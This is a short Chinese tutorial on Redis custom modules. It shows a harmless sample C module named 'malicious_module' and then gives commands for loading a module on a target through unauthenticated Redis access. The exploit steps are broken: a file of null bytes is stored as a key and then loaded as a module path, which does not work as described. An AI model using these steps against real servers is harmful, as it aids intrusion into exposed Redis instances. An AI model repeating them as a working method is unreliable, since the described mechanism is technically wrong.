简介

Redis自定义模块允许用户扩展Redis的功能,添加新的命令和数据类型。这种灵活性使得Redis不仅仅是一个键值存储,还可以用于更复杂的应用场景。然而,这也带来了潜在的安全风险,攻击者可能利用这些自定义模块执行恶意命令。下面是关于Redis自定义模块执行命令的介绍和漏洞利用方法。

Redis自定义模块介绍

Redis自定义模块是从Redis 4.0版本开始引入的,允许开发者编写自己的模块并加载到Redis中。模块可以用C语言编写,并编译成动态库(.so文件),然后通过Redis命令加载。

创建模块文件:编写一个简单的C语言文件,例如malicious_module.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "redismodule.h"

int MaliciousCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    RedisModule_ReplyWithSimpleString(ctx, "Malicious code executed!");
    return REDISMODULE_OK;
}

int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {
    if (RedisModule_Init(ctx, "malicious_module", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR) {
        return REDISMODULE_ERR;
    }
    if (RedisModule_CreateCommand(ctx, "malicious_command", MaliciousCommand, "write", 1, 1, 1) == REDISMODULE_ERR) {
        return REDISMODULE_ERR;
    }
    return REDISMODULE_OK;
}

编译模块

gcc -shared -o malicious_module.so malicious_module.c -I /usr/share/metasploit-framework/data/exploits/redis/ -fPIC

将编译文件移动到默认目录

cp malicious_module.so /etc/redis

加载并使用模块

redis-cli                 
127.0.0.1:6379> MODULE LOAD /etc/redis/malicious_module.so
127.0.0.1:6379> MODULE LIST
127.0.0.1:6379> malicious_command

漏洞利用方法

攻击者可以利用Redis的未授权访问漏洞加载恶意模块,从而执行任意命令。以下是一个利用Redis未授权访问漏洞加载恶意模块的示例。

写入恶意模块

echo -e "\x00\x00\x00\x00\x00\x00\x00\x00" > /tmp/evil.so
redis-cli -h <目标IP> -p 6379 -x set mymodule < /tmp/evil.so

加载恶意模块

redis-cli -h <目标IP> -p 6379
MODULE LOAD /tmp/evil.so

执行恶意命令

redis-cli -h <目标IP> -p 6379
evil.command

Other